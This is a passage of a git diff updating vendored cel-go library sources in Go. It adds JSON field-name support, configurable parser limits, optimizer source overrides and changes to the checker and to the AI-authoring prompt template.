cel.expr.ExprValue. +// The result ExprValue is the serialized proto form. +func ExprValueAsProto(res ref.Val) (*celpb.ExprValue, error) { + switch res := res.(type) { + case *types.Unknown: + return &celpb.ExprValue{ + Kind: &celpb.ExprValue_Unknown{ + Unknown: &celpb.UnknownSet{ + Exprs: res.IDs(), + }, + }}, nil + case *types.Err: + return &celpb.ExprValue{ + Kind: &celpb.ExprValue_Error{ + Error: &celpb.ErrorSet{ + // Keeping the error code as UNKNOWN since there's no error codes associated with + // Cel-Go runtime errors. + Errors: []*celpb.Status{{Code: 2, Message: res.Error()}}, + }, + }, + }, nil + default: + val, err := ValueAsProto(res) + if err != nil { + return nil, err + } + return &celpb.ExprValue{ + Kind: &celpb.ExprValue_Value{Value: val}}, nil + } +} + // ValueAsProto converts between ref.Val and cel.expr.Value. // The result Value is the serialized proto form. The ref.Val must not be error or unknown. func ValueAsProto(res ref.Val) (*celpb.Value, error) { diff --git a/vendor/github.com/google/cel-go/cel/library.go b/vendor/github.com/google/cel-go/cel/library.go index 59a10e81..3c8b6ba3 100644 --- a/vendor/github.com/google/cel-go/cel/library.go +++ b/vendor/github.com/google/cel-go/cel/library.go @@ -182,7 +182,6 @@ func (lib *stdLibrary) CompileOptions() []EnvOption { if err = lib.subset.Validate(); err != nil { return nil, err } - e.variables = append(e.variables, stdlib.Types()...) for _, fn := range funcs { existing, found := e.functions[fn.Name()] if found { @@ -735,14 +734,17 @@ func (opt *evalOptionalOr) ID() int64 { func (opt *evalOptionalOr) Eval(ctx interpreter.Activation) ref.Val { // short-circuit lhs. optLHS := opt.lhs.Eval(ctx) - optVal, ok := optLHS.(*types.Optional) - if !ok { + switch val := optLHS.(type) { + case *types.Err, *types.Unknown: return optLHS + case *types.Optional: + if val.HasValue() { + return optLHS + } + return opt.rhs.Eval(ctx) + default: + return types.NoSuchOverloadErr() } - if optVal.HasValue() { - return optVal - } - return opt.rhs.Eval(ctx) } // evalOptionalOrValue selects between an optional or a concrete value. If the optional has a value, @@ -763,14 +765,18 @@ func (opt *evalOptionalOrValue) ID() int64 { func (opt *evalOptionalOrValue) Eval(ctx interpreter.Activation) ref.Val { // short-circuit lhs. optLHS := opt.lhs.Eval(ctx) - optVal, ok := optLHS.(*types.Optional) - if !ok { + + switch val := optLHS.(type) { + case *types.Err, *types.Unknown: return optLHS + case *types.Optional: + if val.HasValue() { + return val.GetValue() + } + return opt.rhs.Eval(ctx) + default: + return types.NoSuchOverloadErr() } - if optVal.HasValue() { - return optVal.GetValue() - } - return opt.rhs.Eval(ctx) } type timeLegacyLibrary struct{} diff --git a/vendor/github.com/google/cel-go/cel/optimizer.go b/vendor/github.com/google/cel-go/cel/optimizer.go index 9a2a97a6..6e260a93 100644 --- a/vendor/github.com/google/cel-go/cel/optimizer.go +++ b/vendor/github.com/google/cel-go/cel/optimizer.go @@ -15,6 +15,7 @@ package cel import ( + "fmt" "sort" "github.com/google/cel-go/common" @@ -29,17 +30,43 @@ import ( // passes to ensure that the final optimized output is a valid expression with metadata consistent // with what would have been generated from a parsed and checked expression. // -// Note: source position information is best-effort and likely wrong, but optimized expressions +// Note: source position information is best-effort and incomplete, but optimized expressions // should be suitable for calls to parser.Unparse. type StaticOptimizer struct { optimizers []ASTOptimizer + // If set, Optimize() will use this Source instead of the one from the AST. + sourceOverride *Source } +type OptimizerOption func(*StaticOptimizer) (*StaticOptimizer, error) + // NewStaticOptimizer creates a StaticOptimizer with a sequence of ASTOptimizer's to be applied // to a checked expression. -func NewStaticOptimizer(optimizers ...ASTOptimizer) *StaticOptimizer { - return &StaticOptimizer{ - optimizers: optimizers, +func NewStaticOptimizer(options ...any) (*StaticOptimizer, error) { + so := &StaticOptimizer{} + var err error + for _, opt := range options { + switch v := opt.(type) { + case ASTOptimizer: + so.optimizers = append(so.optimizers, v) + case OptimizerOption: + so, err = v(so) + if err != nil { + return nil, err + } + default: + return nil, fmt.Errorf("unsupported option: %v", v) + } + } + return so, nil +} + +// OptimizeWithSource overrides the source used by the optimizer. +// Note this will cause the source info from the AST passed to Optimize() to be discarded. +func OptimizeWithSource(source Source) OptimizerOption { + return func(so *StaticOptimizer) (*StaticOptimizer, error) { + so.sourceOverride = &source + return so, nil } } @@ -49,15 +76,21 @@ func NewStaticOptimizer(optimizers ...ASTOptimizer) *StaticOptimizer { func (opt *StaticOptimizer) Optimize(env *Env, a *Ast) (*Ast, *Issues) { // Make a copy of the AST to be optimized. optimized := ast.Copy(a.NativeRep()) + source := a.Source() + sourceInfo := optimized.SourceInfo() + if opt.sourceOverride != nil { + source = *opt.sourceOverride + sourceInfo = ast.NewSourceInfo(*opt.sourceOverride) + } ids := newIDGenerator(ast.MaxID(a.NativeRep())) // Create the optimizer context, could be pooled in the future. - issues := NewIssues(common.NewErrors(a.Source())) + issues := NewIssues(common.NewErrors(source)) baseFac := ast.NewExprFactory() exprFac := &optimizerExprFactory{ idGenerator: ids, fac: baseFac, - sourceInfo: optimized.SourceInfo(), + sourceInfo: sourceInfo, } ctx := &OptimizerContext{ optimizerExprFactory: exprFac, @@ -80,7 +113,7 @@ func (opt *StaticOptimizer) Optimize(env *Env, a *Ast) (*Ast, *Issues) { // Recheck the updated expression for any possible type-agreement or validation errors. parsed := &Ast{ - source: a.Source(), + source: source, impl: ast.NewAST(expr, info)} checked, iss := ctx.Check(parsed) if iss.Err() != nil { @@ -91,7 +124,7 @@ func (opt *StaticOptimizer) Optimize(env *Env, a *Ast) (*Ast, *Issues) { // Return the optimized result. return &Ast{ - source: a.Source(), + source: source, impl: optimized, }, nil } @@ -100,6 +133,8 @@ func (opt *StaticOptimizer) Optimize(env *Env, a *Ast) (*Ast, *Issues) { // that the ids within the expression correspond to the ids within macros. func normalizeIDs(idGen ast.IDGenerator, optimized ast.Expr, info *ast.SourceInfo) { optimized.RenumberIDs(idGen) + info.RenumberIDs(idGen) + if len(info.MacroCalls()) == 0 { return } @@ -260,6 +295,9 @@ func (opt *optimizerExprFactory) CopyASTAndMetadata(a *ast.AST) ast.Expr { for macroID, call := range copyInfo.MacroCalls() { opt.SetMacroCall(macroID, call) } + for id, offset := range copyInfo.OffsetRanges() { + opt.sourceInfo.SetOffsetRange(id, offset) + } return copyExpr } diff --git a/vendor/github.com/google/cel-go/cel/options.go b/vendor/github.com/google/cel-go/cel/options.go index fee67323..d7d2ab03 100644 --- a/vendor/github.com/google/cel-go/cel/options.go +++ b/vendor/github.com/google/cel-go/cel/options.go @@ -71,12 +71,16 @@ const ( // Enable escape syntax for field identifiers (`). featureIdentEscapeSyntax + + // Enable accessing fields by JSON names within protobuf messages + featureJSONFieldNames ) var featureIDsToNames = map[int]string{ featureEnableMacroCallTracking: "cel.feature.macro_call_tracking", featureCrossTypeNumericComparisons: "cel.feature.cross_type_numeric_comparisons", featureIdentEscapeSyntax: "cel.feature.backtick_escape_syntax", + featureJSONFieldNames: "cel.feature.json_field_names", } func featureNameByID(id int) (string, bool) { @@ -93,6 +97,40 @@ func featureIDByName(name string) (int, bool) { return 0, false } +// limitID is used as a key for configurable limits. These are options that +// support exporting to YAML environment config. +type limitID int + +const ( + _ = limitID(iota) + // The number of recursive calls permitted in parsing. + limitParseRecursionDepth + // The number of code points permitted in an input expression string. + limitCodePointSize + // The number of attempts to recover from a parse error. + limitParseErrorRecovery +) + +var limitIDsToNames = map[limitID]string{ + limitCodePointSize: "cel.limit.expression_code_points", + limitParseErrorRecovery: "cel.limit.parse_error_recovery", + limitParseRecursionDepth: "cel.limit.parse_recursion_depth", +} + +func limitNameByID(id limitID) (string, bool) { + v, ok := limitIDsToNames[id] + return v, ok +} + +func limitIDByName(name string) (limitID, bool) { + for k, v := range limitIDsToNames { + if v == name { + return k, true + } + } + return limitID(0), false +} + // EnvOption is a functional interface for configuring the environment. type EnvOption func(e *Env) (*Env, error) @@ -275,9 +313,9 @@ func Abbrevs(qualifiedNames ...string) EnvOption { } } -// customTypeRegistry is an internal-only interface containing the minimum methods required to support +// protoTypeRegistry is an internal-only interface containing the minimum methods required to support // custom types. It is a subset of methods from ref.TypeRegistry. -type customTypeRegistry interface { +type protoTypeRegistry interface { RegisterDescriptor(protoreflect.FileDescriptor) error RegisterType(...ref.Type) error } @@ -294,7 +332,7 @@ type customTypeRegistry interface { // Note: This option must be specified after the CustomTypeProvider option when used together. func Types(addTypes ...any) EnvOption { return func(e *Env) (*Env, error) { - reg, isReg := e.provider.(customTypeRegistry) + reg, isReg := e.provider.(protoTypeRegistry) if !isReg { return nil, fmt.Errorf("custom types not supported by provider: %T", e.provider) } @@ -331,7 +369,7 @@ func Types(addTypes ...any) EnvOption { // extension or by re-using the same EnvOption with another NewEnv() call. func TypeDescs(descs ...any) EnvOption { return func(e *Env) (*Env, error) { - reg, isReg := e.provider.(customTypeRegistry) + reg, isReg := e.provider.(protoTypeRegistry) if !isReg { return nil, fmt.Errorf("custom types not supported by provider: %T", e.provider) } @@ -379,7 +417,7 @@ func TypeDescs(descs ...any) EnvOption { } } -func registerFileSet(reg customTypeRegistry, fileSet *descpb.FileDescriptorSet) error { +func registerFileSet(reg protoTypeRegistry, fileSet *descpb.FileDescriptorSet) error { files, err := protodesc.NewFiles(fileSet) if err != nil { return fmt.Errorf("protodesc.NewFiles(%v) failed: %v", fileSet, err) @@ -387,7 +425,7 @@ func registerFileSet(reg customTypeRegistry, fileSet *descpb.FileDescriptorSet) return registerFiles(reg, files) } -func registerFiles(reg customTypeRegistry, files *protoregistry.Files) error { +func registerFiles(reg protoTypeRegistry, files *protoregistry.Files) error { var err error files.RangeFiles(func(fd protoreflect.FileDescriptor) bool { err = reg.RegisterDescriptor(fd) @@ -396,6 +434,15 @@ func registerFiles(reg customTypeRegistry, files *protoregistry.Files) error { return err } +// JSONFieldNames supports accessing protocol buffer fields by json-name. +// +// Enabling JSON field name support will create a copy of the types.Registry with fields indexed +// by JSON name, and whether JSON name or Proto-style names are supported will be inferred from +// the AST extensions metadata. +func JSONFieldNames(enabled bool) EnvOption { + return features(featureJSONFieldNames, enabled) +} + // ProgramOption is a functional interface for configuring evaluation bindings and behaviors. type ProgramOption func(p *prog) (*prog, error) @@ -523,6 +570,17 @@ func configToEnvOptions(config *env.Config, provider types.Provider, optFactorie envOpts = append(envOpts, Abbrevs(imp.Name)) } + // Configure features and common limits. + for _, feat := range config.Features { + // Note, if a feature is not found, it is skipped as it is possible the feature + // is not intended to be supported publicly. In the future, a refinement of + // to this strategy to report unrecognized features and validators should probably + // be covered as a standard ConfigOptionFactory + if id, found := featureIDByName(feat.Name); found { + envOpts = append(envOpts, features(id, feat.Enabled)) + } + } + // Configure the context variable declaration if config.ContextVariable != nil { typeName := config.ContextVariable.TypeName @@ -564,14 +622,9 @@ func configToEnvOptions(config *env.Config, provider types.Provider, optFactorie envOpts = append(envOpts, FunctionDecls(funcs...)) } - // Configure features - for _, feat := range config.Features { - // Note, if a feature is not found, it is skipped as it is possible the feature - // is not intended to be supported publicly. In the future, a refinement of - // to this strategy to report unrecognized features and validators should probably - // be covered as a standard ConfigOptionFactory - if id, found := featureIDByName(feat.Name); found { - envOpts = append(envOpts, features(id, feat.Enabled)) + for _, limit := range config.Limits { + if id, found := limitIDByName(limit.Name); found { + envOpts = append(envOpts, setLimit(id, limit.Value)) } } @@ -727,8 +780,11 @@ func fieldToCELType(field protoreflect.FieldDescriptor) (*Type, error) { return nil, fmt.Errorf("field %s type %s not implemented", field.FullName(), field.Kind().String()) } -func fieldToVariable(field protoreflect.FieldDescriptor) (*decls.VariableDecl, error) { +func fieldToVariable(field protoreflect.FieldDescriptor, jsonFieldNames bool) (*decls.VariableDecl, error) { name := string(field.Name()) + if jsonFieldNames { + name = field.JSONName() + } if field.IsMap() { mapKey := field.MapKey() mapValue := field.MapValue() @@ -759,6 +815,8 @@ func fieldToVariable(field protoreflect.FieldDescriptor) (*decls.VariableDecl, e // DeclareContextProto returns an option to extend CEL environment with declarations from the given context proto. // Each field of the proto defines a variable of the same name in the environment. // https://github.com/google/cel-spec/blob/master/doc/langdef.md#evaluation-environment +// +// If using JSONFieldNames(), ensure that the option is set before DeclareContextProto is provided. func DeclareContextProto(descriptor protoreflect.MessageDescriptor) EnvOption { return func(e *Env) (*Env, error) { if e.contextProto != nil { @@ -768,9 +826,10 @@ func DeclareContextProto(descriptor protoreflect.MessageDescriptor) EnvOption { e.contextProto = descriptor fields := descriptor.Fields() vars := make([]*decls.VariableDecl, 0, fields.Len()) + jsonFieldNames := e.HasFeature(featureJSONFieldNames) for i := 0; i < fields.Len(); i++ { field := fields.Get(i) - variable, err := fieldToVariable(field) + variable, err := fieldToVariable(field, jsonFieldNames) if err != nil { return nil, err } @@ -789,11 +848,15 @@ func DeclareContextProto(descriptor protoreflect.MessageDescriptor) EnvOption { // // Consider using with `DeclareContextProto` to simplify variable type declarations and publishing when using // protocol buffers. -func ContextProtoVars(ctx proto.Message) (Activation, error) { +// +// Use the types.JSONFieldNames(true) option to populate the context proto vars using the JSON field names. +func ContextProtoVars(ctx proto.Message, opts ...types.RegistryOption) (Activation, error) { if ctx == nil || !ctx.ProtoReflect().IsValid() { return interpreter.EmptyActivation(), nil } - reg, err := types.NewRegistry(ctx) + regOpts := []types.RegistryOption{types.ProtoTypeDefs(ctx)} + regOpts = append(regOpts, opts...) + reg, err := types.NewProtoRegistry(regOpts...) if err != nil { return nil, err } @@ -803,15 +866,19 @@ func ContextProtoVars(ctx proto.Message) (Activation, error) { vars := make(map[string]any, fields.Len()) for i := 0; i < fields.Len(); i++ { field := fields.Get(i) - sft, found := reg.FindStructFieldType(typeName, field.TextName()) + fieldName := field.TextName() + if reg.JSONFieldNames() { + fieldName = field.JSONName() + } + sft, found := reg.FindStructFieldType(typeName, fieldName) if !found { - return nil, fmt.Errorf("no such field: %s", field.TextName()) + return nil, fmt.Errorf("no such field: %s", fieldName) } fieldVal, err := sft.GetFrom(ctx) if err != nil { return nil, err } - vars[field.TextName()] = fieldVal + vars[fieldName] = fieldVal } return NewActivation(vars) } @@ -847,22 +914,32 @@ func features(flag int, enabled bool) EnvOption { } } -// ParserRecursionLimit adjusts the AST depth the parser will tolerate. -// Defaults defined in the parser package. -func ParserRecursionLimit(limit int) EnvOption { +func setLimit(id limitID, limit int) EnvOption { + if limit < 0 { + limit = -1 + } return func(e *Env) (*Env, error) { - e.prsrOpts = append(e.prsrOpts, parser.MaxRecursionDepth(limit)) + e.limits[id] = limit return e, nil } } -// ParserExpressionSizeLimit adjusts the number of code points the expression parser is allowed to parse. +// ParserRecursionLimit adjusts the AST depth the parser will tolerate. // Defaults defined in the parser package. +func ParserRecursionLimit(limit int) EnvOption { + return setLimit(limitParseRecursionDepth, limit) +} + +// ParserErrorRecoveryLimit sets the number of attemtps the parser will take +// to recover after encountering an error. +func ParserErrorRecoveryLimit(limit int) EnvOption { + return setLimit(limitParseErrorRecovery, limit) +} + +// ParserExpressionSizeLimit adjusts the number of code points the expression parser is allowed to parse. +// Defaults are defined in the parser package. A negative value means unbounded. func ParserExpressionSizeLimit(limit int) EnvOption { - return func(e *Env) (*Env, error) { - e.prsrOpts = append(e.prsrOpts, parser.ExpressionSizeCodePointLimit(limit)) - return e, nil - } + return setLimit(limitCodePointSize, limit) } // EnableHiddenAccumulatorName sets the parser to use the identifier '@result' for accumulators diff --git a/vendor/github.com/google/cel-go/cel/program.go b/vendor/github.com/google/cel-go/cel/program.go index 24f41a4a..c46d694e 100644 --- a/vendor/github.com/google/cel-go/cel/program.go +++ b/vendor/github.com/google/cel-go/cel/program.go @@ -16,10 +16,12 @@ package cel import ( "context" + "errors" "fmt" "sync" "github.com/google/cel-go/common/ast" + "github.com/google/cel-go/common/functions" "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter" @@ -191,16 +193,25 @@ func newProgram(e *Env, a *ast.AST, opts []ProgramOption) (Program, error) { } } - // Add the function bindings created via Function() options. - for _, fn := range e.functions { - bindings, err := fn.Bindings() - if err != nil { - return nil, err - } - err = disp.Add(bindings...) - if err != nil { - return nil, err + e.funcBindOnce.Do(func() { + var bindings []*functions.Overload + e.functionBindings = []*functions.Overload{} + for _, fn := range e.functions { + bindings, err = fn.Bindings() + if err != nil { + return + } + e.functionBindings = append(e.functionBindings, bindings...) } + }) + if err != nil { + return nil, err + } + + // Add the function bindings created via Function() options. + err = disp.Add(e.functionBindings...) + if err != nil { + return nil, err } // Set the attribute factory after the options have been set. @@ -208,6 +219,12 @@ func newProgram(e *Env, a *ast.AST, opts []ProgramOption) (Program, error) { attrFactorOpts := []interpreter.AttrFactoryOption{ interpreter.EnableErrorOnBadPresenceTest(p.HasFeature(featureEnableErrorOnBadPresenceTest)), } + if a.SourceInfo().HasExtension("json_name", ast.NewExtensionVersion(1, 1)) { + if !e.HasFeature(featureJSONFieldNames) { + return nil, errors.New("the AST extension 'json_name' requires the option cel.JSONFieldNames(true)") + } + } + // Configure the type provider, considering whether the AST indicates whether it supports JSON field names if p.evalOpts&OptPartialEval == OptPartialEval { attrFactory = interpreter.NewPartialAttributeFactory(e.Container, e.adapter, e.provider, attrFactorOpts...) } else { @@ -351,7 +368,11 @@ func (p *prog) ContextEval(ctx context.Context, input any) (ref.Val, *EvalDetail default: return nil, nil, fmt.Errorf("invalid input, wanted Activation or map[string]any, got: (%T)%v", input, input) } - return p.Eval(vars) + out, det, err := p.Eval(vars) + if err != nil && errors.Is(err, interpreter.InterruptError{}) { + return out, det, context.Cause(ctx) + } + return out, det, err } type ctxEvalActivation struct { diff --git a/vendor/github.com/google/cel-go/cel/prompt.go b/vendor/github.com/google/cel-go/cel/prompt.go index 929a26f9..1529680f 100644 --- a/vendor/github.com/google/cel-go/cel/prompt.go +++ b/vendor/github.com/google/cel-go/cel/prompt.go @@ -23,15 +23,48 @@ import ( "github.com/google/cel-go/common" "github.com/google/cel-go/common/operators" "github.com/google/cel-go/common/overloads" + "github.com/google/cel-go/common/types" ) //go:embed templates/authoring.tmpl var authoringPrompt string +// splitImpl splits a string into a list of strings. +// +// Normalizes extracted comments (trim common prefix whitespace and extra trailing newlines). +func splitImpl(str string) []string { + str = strings.TrimRight(str, " \n\t\r") + out := strings.Split(str, "\n") + if len(out) == 0 { + return nil + } + negative := strings.TrimLeft(out[0], " \t") + lenNegative := len(negative) + lenOut := len(out[0]) + if lenNegative == lenOut { + return out + } + prefix := out[0][:lenOut-lenNegative] + trimmed := make([]string, len(out)) + for i, line := range out { + if line == "" { + trimmed[i] = "" + continue + } + if !strings.HasPrefix(line, prefix) { + return out + } + trimmed[i] = strings.TrimPrefix(line, prefix) + } + + return trimmed +} + // AuthoringPrompt creates a prompt template from a CEL environment for the purpose of AI-assisted authoring. func AuthoringPrompt(env *Env) (*Prompt, error) { funcMap := template.FuncMap{ - "split": func(str string) []string { return strings.Split(str, "\n") }, + "split": splitImpl, + "newlineToSpace": func(str string) string { return strings.ReplaceAll(str, "\n", " ") }, } tmpl := template.New("cel").Funcs(funcMap) tmpl, err := tmpl.Parse(authoringPrompt) @@ -47,6 +80,17 @@ func AuthoringPrompt(env *Env) (*Prompt, error) { }, nil } +// AuthoringPromptWithFieldPaths creates a prompt template from a CEL environment for the purpose of AI-assisted authoring. +// Includes documentation for all of the reachable field paths in the environment. +func AuthoringPromptWithFieldPaths(env *Env) (*Prompt, error) { + p, err := AuthoringPrompt(env) + if err != nil { + return nil, err + } + p.fieldPaths = true + return p, nil +} + // Prompt represents the core components of an LLM prompt based on a CEL environment. // // All fields of the prompt may be overwritten / modified with support for rendering the @@ -64,14 +108,22 @@ type Prompt struct { // tmpl is the text template base-configuration for rendering text. tmpl *template.Template + // fieldPaths is a flag to enable including reachable field paths in the prompt. + fieldPaths bool + // env reference used to collect variables, functions, and macros available to the prompt. env *Env } +type promptVariable struct { + *common.Doc + FieldPaths []*common.Doc +} + type promptInst struct { *Prompt - Variables []*common.Doc + Variables []*promptVariable Macros []*common.Doc Functions []*common.Doc UserPrompt string @@ -81,9 +133,28 @@ type promptInst struct { // for use with LLM generators. func (p *Prompt) Render(userPrompt string) string { var buffer strings.Builder - vars := make([]*common.Doc, len(p.env.Variables())) + vars := make([]*promptVariable, len(p.env.Variables())) for i, v := range p.env.Variables() { - vars[i] = v.Documentation() + vars[i] = &promptVariable{Doc: v.Documentation()} + if p.fieldPaths && v.Type().Kind() == types.StructKind { + var fieldPaths []*common.Doc + + paths := fieldPathsForType(p.env.CELTypeProvider(), v.Name(), v.Type()) + if len(paths) < 2 { + paths = nil + } else { + // First path is the variable which is already documented. + paths = paths[1:] + } + for _, path := range paths { + fieldPaths = append(fieldPaths, path.Documentation()) + } + + sort.SliceStable(fieldPaths, func(i, j int) bool { + return fieldPaths[i].Name < fieldPaths[j].Name + }) + vars[i].FieldPaths = fieldPaths + } } sort.SliceStable(vars, func(i, j int) bool { return vars[i].Name < vars[j].Name diff --git a/vendor/github.com/google/cel-go/cel/templates/authoring.tmpl b/vendor/github.com/google/cel-go/cel/templates/authoring.tmpl index d6b3da5c..a921df9b 100644 --- a/vendor/github.com/google/cel-go/cel/templates/authoring.tmpl +++ b/vendor/github.com/google/cel-go/cel/templates/authoring.tmpl @@ -1,8 +1,29 @@ -{{define "variable"}}{{.Name}} is a {{.Type}} +{{define "fieldPath" }} + * path: `{{.Name}}` + type: `{{.Type}}` + {{- if .Description }} + description: +{{range split .Description }} {{.}} +{{end}} +{{- end -}} +{{- end -}} + +{{define "variable" -}} +* name: `{{.Name}}` + type: `{{.Type}}` + {{- if .Description}} + description: +{{range split .Description}} {{.}} +{{end -}} +{{- end -}} +{{- if .FieldPaths }} + attributes: +{{- range .FieldPaths }}{{ template "fieldPath" . }}{{end}} +{{- end -}} {{- end -}} {{define "macro" -}} -{{.Name}} macro{{if .Description}} - {{range split .Description}}{{.}} {{end}} +{{.Name}} macro{{if .Description}} - {{newlineToSpace .Description}} {{end}} {{range .Children}}{{range split .Description}} {{.}} {{end}} @@ -18,7 +39,7 @@ {{- end -}} {{define "function" -}} -{{.Name}}{{if .Description}} - {{range split .Description}}{{.}} {{end}} +{{.Name}}{{if .Description}} - {{newlineToSpace .Description}} {{end}} {{range .Children}}{{template "overload" .}}{{end}} {{- end -}} @@ -32,25 +53,26 @@ Only use the following variables, macros, and functions in expressions. {{if .Variables}} Variables: -{{range .Variables}}* {{template "variable" .}} +{{range .Variables -}} +{{template "variable" .}} {{end -}} +{{- end -}} -{{end -}} {{if .Macros}} Macros: {{range .Macros}}* {{template "macro" .}} {{end -}} - {{end -}} + {{if .Functions}} Functions: {{range .Functions}}* {{template "function" .}} {{end -}} - -{{end -}} {{- end -}} +{{- end -}} + {{.GeneralUsage}} {{.UserPrompt}} diff --git a/vendor/github.com/google/cel-go/cel/validator.go b/vendor/github.com/google/cel-go/cel/validator.go index 5f06b2dd..952f88f4 100644 --- a/vendor/github.com/google/cel-go/cel/validator.go +++ b/vendor/github.com/google/cel-go/cel/validator.go @@ -45,6 +45,14 @@ var ( astValidatorFactories = map[string]ASTValidatorFactory{ nestingLimitValidatorName: func(val *env.Validator) (ASTValidator, error) { if limit, found := val.ConfigValue("limit"); found { + // In case of protos, config value is of type by google.protobuf.Value, which numeric values are always a double. + if val, isDouble := limit.(float64); isDouble { + if val != float64(int64(val)) { + return nil, fmt.Errorf("invalid validator: %s, limit value is not a whole number: %v", nestingLimitValidatorName, limit) + } + return ValidateComprehensionNestingLimit(int(val)), nil + } + if val, isInt := limit.(int); isInt { return ValidateComprehensionNestingLimit(val), nil } diff --git a/vendor/github.com/google/cel-go/checker/checker.go b/vendor/github.com/google/cel-go/checker/checker.go index a9e04fc2..42d27a42 100644 --- a/vendor/github.com/google/cel-go/checker/checker.go +++ b/vendor/github.com/google/cel-go/checker/checker.go @@ -19,6 +19,8 @@ package checker import ( "fmt" "reflect" + "slices" + "strings" "github.com/google/cel-go/common" "github.com/google/cel-go/common/ast" @@ -65,6 +67,15 @@ func Check(parsed *ast.AST, source common.Source, env *Env) (*ast.AST, *common.E for id, t := range c.TypeMap() { c.SetType(id, substitute(c.mappings, t, true)) } + // Remove source info for IDs without a corresponding AST node. This can happen because + // check() deletes some nodes while rewriting the AST. For example the Select operand is + // deleted when a variable reference is replaced with a Ident expression. + c.AST.ClearUnusedIDs() + if env.jsonFieldNames { + c.AST.SourceInfo().AddExtension( + ast.NewExtension("json_name", ast.NewExtensionVersion(1, 1), ast.ComponentRuntime), + ) + } return c.AST, errs } @@ -104,11 +115,15 @@ func (c *checker) check(e ast.Expr) { func (c *checker) checkIdent(e ast.Expr) { identName := e.AsIdent() // Check to see if the identifier is declared. - if ident := c.env.LookupIdent(identName); ident != nil { + if ident := c.env.resolveSimpleIdent(identName); ident != nil { + name := strings.TrimPrefix(ident.Name(), ".") + if ident.requiresDisambiguation { + name = "." + name + } c.setType(e, ident.Type()) - c.setReference(e, ast.NewIdentReference(ident.Name(), ident.Value())) + c.setReference(e, ast.NewIdentReference(name, ident.Value())) // Overwrite the identifier with its fully qualified name. - e.SetKindCase(c.NewIdent(e.ID(), ident.Name())) + e.SetKindCase(c.NewIdent(e.ID(), name)) return } @@ -119,18 +134,22 @@ func (c *checker) checkIdent(e ast.Expr) { func (c *checker) checkSelect(e ast.Expr) { sel := e.AsSelect() // Before traversing down the tree, try to interpret as qualified name. - qname, found := containers.ToQualifiedName(e) + qualifiers, found := c.computeQualifiers(e) if found { - ident := c.env.LookupIdent(qname) + ident := c.env.resolveQualifiedIdent(qualifiers...) if ident != nil { // We don't check for a TestOnly expression here since the `found` result is // always going to be false for TestOnly expressions. // Rewrite the node to be a variable reference to the resolved fully-qualified // variable name. + name := ident.Name() + if ident.requiresDisambiguation { + name = "." + name + } c.setType(e, ident.Type()) - c.setReference(e, ast.NewIdentReference(ident.Name(), ident.Value())) - e.SetKindCase(c.NewIdent(e.ID(), ident.Name())) + c.setReference(e, ast.NewIdentReference(name, ident.Value())) + e.SetKindCase(c.NewIdent(e.ID(), name)) return } } @@ -142,6 +161,29 @@ func (c *checker) checkSelect(e ast.Expr) { c.setType(e, substitute(c.mappings, resultType, false)) } +// computeQualifiers computes the qualified names parts of a select expression. +func (c *checker) computeQualifiers(e ast.Expr) ([]string, bool) { + var qualifiers []string + for e.Kind() == ast.SelectKind { + sel := e.AsSelect() + // test only expressions are not considered for qualified name selection. + if sel.IsTestOnly() { + return qualifiers, false + } + // otherwise append the select field name to the qualifier list (reverse order) + qualifiers = append(qualifiers, sel.FieldName()) + e = sel.Operand() + // If the next operand is an identifier, then append it, reverse the name sequence + // and return it to the caller.s + if e.Kind() == ast.IdentKind { + qualifiers = append(qualifiers, e.AsIdent()) + slices.Reverse(qualifiers) + return qualifiers, true + } + } + return qualifiers, false +} + func (c *checker) checkOptSelect(e ast.Expr) { // Collect metadata related to the opt select call packaged by the parser. call := e.AsCall() @@ -152,7 +194,7 @@ func (c *checker) checkOptSelect(e ast.Expr) { } c.errors.notAnOptionalFieldSelectionCall(e.ID(), c.location(e), fmt.Sprintf( - "incorrect signature.%s argument count: %d%s", t, len(call.Args()))) + "incorrect signature.%s argument count: %d", t, len(call.Args()))) return } @@ -234,7 +276,7 @@ func (c *checker) checkCall(e ast.Expr) { // Regular static call with simple name. if !call.IsMemberFunction() { // Check for the existence of the function. - fn := c.env.LookupFunction(fnName) + fn := c.env.lookupFunction(fnName) if fn == nil { c.errors.undeclaredReference(e.ID(), c.location(e), c.env.container.Name(), fnName) c.setType(e, types.ErrorType) @@ -256,7 +298,7 @@ func (c *checker) checkCall(e ast.Expr) { qualifiedPrefix, maybeQualified := containers.ToQualifiedName(target) if maybeQualified { maybeQualifiedName := qualifiedPrefix + "." + fnName - fn := c.env.LookupFunction(maybeQualifiedName) + fn := c.env.lookupFunction(maybeQualifiedName) if fn != nil { // The function name is namespaced and so preserving the target operand would // be an inaccurate representation of the desired evaluation behavior. @@ -269,7 +311,7 @@ func (c *checker) checkCall(e ast.Expr) { // Regular instance call. c.check(target) - fn := c.env.LookupFunction(fnName) + fn := c.env.lookupFunction(fnName) // Function found, attempt overload resolution. if fn != nil { c.resolveOverloadOrError(e, fn, target, args) @@ -441,7 +483,7 @@ func (c *checker) checkCreateStruct(e ast.Expr) { msgVal := e.AsStruct() // Determine the type of the message. resultType := types.ErrorType - ident := c.env.LookupIdent(msgVal.TypeName()) + ident := c.env.resolveTypeIdent(msgVal.TypeName()) if ident == nil { c.errors.undeclaredReference( e.ID(), c.location(e), c.env.container.Name(), msgVal.TypeName()) @@ -681,6 +723,9 @@ func (c *checker) lookupFieldType(exprID int64, structType, fieldName string) (* } if ft, found := c.env.provider.FindStructFieldType(structType, fieldName); found { + if c.env.jsonFieldNames && !ft.IsJSONField { + c.errors.undefinedField(exprID, c.locationByID(exprID), fieldName) + } return ft.Type, found } diff --git a/vendor/github.com/google/cel-go/checker/cost.go b/vendor/github.com/google/cel-go/checker/cost.go index 59be751c..5bc6318e 100644 --- a/vendor/github.com/google/cel-go/checker/cost.go +++ b/vendor/github.com/google/cel-go/checker/cost.go @@ -545,16 +545,17 @@ func (c *coster) costCall(e ast.Expr) CostEstimate { if len(overloadIDs) == 0 { return CostEstimate{} } - var targetType AstNode + var targetType *AstNode if call.IsMemberFunction() { sum = sum.Add(c.cost(call.Target())) - targetType = c.newAstNode(call.Target()) + var t AstNode = c.newAstNode(call.Target()) + targetType = &t } // Pick a cost estimate range that covers all the overload cost estimation ranges fnCost := CostEstimate{Min: uint64(math.MaxUint64), Max: 0} var resultSize *SizeEstimate for _, overload := range overloadIDs { - overloadCost := c.functionCost(e, call.FunctionName(), overload, &targetType, argTypes, argCosts) + overloadCost := c.functionCost(e, call.FunctionName(), overload, targetType, argTypes, argCosts) fnCost = fnCost.Union(overloadCost.CostEstimate) if 